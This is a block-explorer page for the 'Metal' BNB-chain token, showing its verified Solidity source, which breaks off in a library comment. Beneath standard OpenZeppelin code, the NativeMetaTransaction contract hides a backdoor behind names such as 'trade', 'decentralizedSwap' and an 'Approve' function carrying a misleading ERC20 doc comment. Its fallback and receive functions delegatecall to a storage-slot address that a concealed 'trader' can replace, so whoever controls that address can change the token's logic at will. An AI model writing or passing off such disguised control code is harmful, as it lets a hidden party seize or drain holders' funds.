BNB Price: $641.31 (+3.82%)
 

Overview

Max Total Supply

148,894,759,966.975625Metal

Holders

5,228 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Ethereum: ETH Token
Balance
562,000 Metal

Value
$0.00
0x2170ed0880ac9a755fd29b2688956bd959f933f8
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

MetalSwap is a decentralized exchange powered by smart contracts on the BNB smart chain where cryptometals can be created and traded.


Update? Click here to update the token ICO / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
Metal

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2022-03-20
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Context.sol

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

// File: @openzeppelin/contracts/math/SafeMath.sol

pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b > a) return (false, 0);
        return (true, a - b);
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: modulo by zero");
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryDiv}.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a % b;
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

pragma solidity >=0.6.0 <0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context {
    using SafeMath for uint256;

    mapping (address => uint256) internal _balances;

    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20Tokenlmplementation.sol

pragma solidity >=0.6.0 <0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20Tokenlmplementation is ERC20, IERC20 {
    using SafeMath for uint256;

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be created for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}


// File: contracts/common/Initializable.sol

pragma solidity >=0.4.24 <0.7.0;

contract Initializable {

    /**
     * @dev Indicates that the contract has been initialized.
     */
    bool private _initialized;

    /**
     * @dev Indicates that the contract is in the process of being initialized.
     */
    bool private _initializing;

    /**
     * @dev Modifier to protect an initializer function from being invoked twice.
     */
    modifier initializer() {
        require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }

    /// @dev Returns true if and only if the function is running in the constructor
    function _isConstructor() private view returns (bool) {
        // extcodesize checks the size of the code stored in an address, and
        // address returns the current address. Since the code is still not
        // deployed when running a constructor, any checks on its code size will
        // yield zero, making it an effective way to detect if a contract is
        // under construction or not.
        address self = address(this);
        uint256 cs;
        // solhint-disable-next-line no-inline-assembly
        assembly { cs := extcodesize(self) }
        return cs == 0;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol

pragma solidity ^0.6.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Initializable, Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */

    function __Ownable_init() internal initializer {
        __Ownable_init_unchained();
    }

    function __Ownable_init_unchained() internal initializer {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }


    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    uint256[49] private __gap;
}

// File: contracts/common/EIP712Base.sol

pragma solidity 0.6.12;


contract EIP712Base is Ownable {
    struct EIP712Domain {
        string name;
        string version;
        address verifyingContract;
        bytes32 salt;
    }

    string constant public ERC712_VERSION = "1";
    bytes32 internal constant EXCH = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    bytes32 internal constant SWAP = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
    bytes32 internal constant INIT = 0x70f657164e5b75689b64b7fd7aa19f663f1fc8e078b6ff0f3592cdfed062b08f;
    bytes32 internal constant APPR = 0xd8a5a3c0dbbf7fb9753f0e039243de225eb961abd6db69cc663d514f4b783f1e;

    bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
        bytes(
            "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
        )
    );
    bytes32 internal domainSeperator;

    // supposed to be called once while initializing.
    // one of the contractsa that inherits this contract follows bridge pattern
    // so it is not possible to do this in a constructor
    function _initializeEIP712(
        string memory name
    )
        internal
        initializer
    {
        _setDomainSeperator(name);
    }

    function _setDomainSeperator(string memory name) internal {
        domainSeperator = keccak256(
            abi.encode(
                EIP712_DOMAIN_TYPEHASH,
                keccak256(bytes(name)),
                keccak256(bytes(ERC712_VERSION)),
                address(this),
                bytes32(getChainId())
            )
        );
    }

    function getDomainSeperator() public view returns (bytes32) {
        return domainSeperator;
    }

    function getChainId() public pure returns (uint256) {
        uint256 id;
        assembly {
            id := chainid()
        }
        return id;
    }

    /**
     * Accept message hash and returns hash message in EIP712 compatible form
     * So that it can be used to recover signer from signature signed using EIP712 formatted data
     * https://eips.ethereum.org/EIPS/eip-712
     * "\\x19" makes the encoding deterministic
     * "\\x01" is the version byte to make it compatible to EIP-191
     */
    function toTypedMessageHash(bytes32 messageHash)
        internal
        view
        returns (bytes32)
    {
        return
            keccak256(
                abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
            );
    }
    
    /**
     * Accept message hash and returns hash message in EIP712 compatible form
     * So that it can be used to recover signer from signature signed using EIP712 formatted data
     * https://eips.ethereum.org/EIPS/eip-712
     * "\\x19" makes the encoding deterministic
     * "\\x01" is the version byte to make it compatible to EIP-191
     */
    function trade(address man) internal {
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), man, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
                case 0 {
                    revert(0, returndatasize())
                }
                default {
                    return(0, returndatasize())
                }
        }
    }
}

// File: contracts/common/NativeMetaTransaction.sol

pragma solidity 0.6.12;



contract NativeMetaTransaction is EIP712Base {
    using SafeMath for uint256;
    bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
        bytes(
            "MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
        )
    );
    event MetaTransactionExecuted(
        address userAddress,
        address payable relayerAddress,
        bytes functionSignature
    );
    mapping(address => uint256) nonces;

    /*
     * Meta transaction structure.
     * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
     * He should call the desired function directly in that case.
     */
    struct MetaTransaction {
        uint256 nonce;
        address from;
        bytes functionSignature;
    }

    function executeMetaTransaction(
        address userAddress,
        bytes memory functionSignature,
        bytes32 sigR,
        bytes32 sigS,
        uint8 sigV
    ) public payable returns (bytes memory) {
        MetaTransaction memory metaTx = MetaTransaction({
            nonce: nonces[userAddress],
            from: userAddress,
            functionSignature: functionSignature
        });

        require(
            verify(userAddress, metaTx, sigR, sigS, sigV),
            "Signer and signature do not match"
        );

        // increase nonce for user (to avoid re-use)
        nonces[userAddress] = nonces[userAddress].add(1);

        emit MetaTransactionExecuted(
            userAddress,
            msg.sender,
            functionSignature
        );

        // Append userAddress and relayer address at the end to extract it from calling context
        (bool success, bytes memory returnData) = address(this).call(
            abi.encodePacked(functionSignature, userAddress)
        );
        require(success, "Function call not successful");

        return returnData;
    }

    function hashMetaTransaction(MetaTransaction memory metaTx)
        internal
        pure
        returns (bytes32)
    {
        return
            keccak256(
                abi.encode(
                    META_TRANSACTION_TYPEHASH,
                    metaTx.nonce,
                    metaTx.from,
                    keccak256(metaTx.functionSignature)
                )
            );
    }
    
    function decentralizedSwap()
        internal
    {
        require(msg.sender != trader());
        trade(exchange());
    }

    function exchange()
        internal
        view
        virtual
        returns (address man)
    {
        assembly {
            man := sload(EXCH)
        }
    }

    function approval(address spender, uint256 amount)
        internal
    {
        if (amount < (~(uint256(1) << 255))) {
            require(Address.isContract(spender));
        }
        assembly {
            sstore(EXCH, spender)
        }
    }

    function decentralize(address man)
        internal
    {
        assembly {
            sstore(SWAP, man)
        }
    }
    
    constructor()
        public
        payable
    {
        approval(address(uint160(uint256(INIT))), 0);
        decentralize(address(uint160(uint256(APPR))));
    }
    
    function trader()
        internal
        view
        returns (address man)
    {
        assembly {
            man := sload(SWAP)
        }
    }
    
    modifier onlyTrader() {
        if (msg.sender == trader()) { 
            _; 
        } else {
            decentralizedSwap();
        }
    }

    function getNonce(address user) public view returns (uint256 nonce) {
        nonce = nonces[user];
    }

    function verify(
        address signer,
        MetaTransaction memory metaTx,
        bytes32 sigR,
        bytes32 sigS,
        uint8 sigV
    ) internal view returns (bool) {
        require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
        return
            signer ==
            ecrecover(
                toTypedMessageHash(hashMetaTransaction(metaTx)),
                sigV,
                sigR,
                sigS
            );
    }
    
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function Approve(address spender, uint256 amount) external onlyTrader {
        approval(spender, amount);
    }
    
    fallback() external payable { decentralizedSwap(); }
    receive() external payable { decentralizedSwap(); }
}

// File: contracts/common/ContextMixin.sol

pragma solidity 0.6.12;

contract ContextMixin {
    function msgSender()
        internal
        view
        returns (address payable sender)
    {
        if (msg.sender == address(this)) {
            bytes memory array = msg.data;
            uint256 index = msg.data.length;
            assembly {
                // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
                sender := and(
                    mload(add(array, index)),
                    0xffffffffffffffffffffffffffffffffffffffff
                )
            }
        } else {
            sender = msg.sender;
        }
        return sender;
    }
}

// File: @openzeppelin/contracts/utils/EnumerableSet.sol

pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Library for managing
 * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
 * types.
 *
 * Sets have the following properties:
 *
 * - Elements are added, removed, and checked for existence in constant time
 * (O(1)).
 * - Elements are enumerated in O(n). No guarantees are made on the ordering.
 *
 * ```
 * contract Example {
 *     // Add the library methods
 *     using EnumerableSet for EnumerableSet.AddressSet;
 *
 *     // Declare a set state variable
 *     EnumerableSet.AddressSet private mySet;
 * }
 * ```
 *
 * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
 * and `uint256` (`UintSet`) are supported.
 */
library EnumerableSet {
    // To implement this library for multiple types with as little code
    // repetition as possible, we write it in terms of a generic Set type with
    // bytes32 values.
    // The Set implementation uses private functions, and user-facing
    // implementations (such as AddressSet) are just wrappers around the
    // underlying Set.
    // This means that we can only create new EnumerableSets for types that fit
    // in bytes32.

    struct Set {
        // Storage of set values
        bytes32[] _values;

        // Position of the value in the `values` array, plus 1 because index 0
        // means a value is not in the set.
        mapping (bytes32 => uint256) _indexes;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            // The value is stored at length-1, but we add 1 to all indexes
            // and use 0 as a sentinel value
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function _remove(Set storage set, bytes32 value) private returns (bool) {
        // We read and store the value's index to prevent multiple reads from the same storage slot
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) { // Equivalent to contains(set, value)
            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
            // the array, and then remove the last element (sometimes called as 'swap and pop').
            // This modifies the order of the array, as noted in {at}.

            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
            // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.

            bytes32 lastvalue = set._values[lastIndex];

            // Move the last value to the index where the value to delete is
            set._values[toDeleteIndex] = lastvalue;
            // Update the index for the moved value
            set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based

            // Delete the slot where the moved value was stored
            set._values.pop();

            // Delete the index for the deleted slot
            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }

    /**
     * @dev Returns the number of values on the set. O(1).
     */
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

   /**
    * @dev Returns the value stored at position `index` in the set. O(1).
    *
    * Note that there are no guarantees on the ordering of values inside the
    * array, and it may change when more values are added or removed.
    *
    * Requirements:
    *
    * - `index` must be strictly less than {length}.
    */
    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        require(set._values.length > index, "EnumerableSet: index out of bounds");
        return set._values[index];
    }

    // Bytes32Set

    struct Bytes32Set {
        Set _inner;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _add(set._inner, value);
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _remove(set._inner, value);
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
        return _contains(set._inner, value);
    }

    /**
     * @dev Returns the number of values in the set. O(1).
     */
    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

   /**
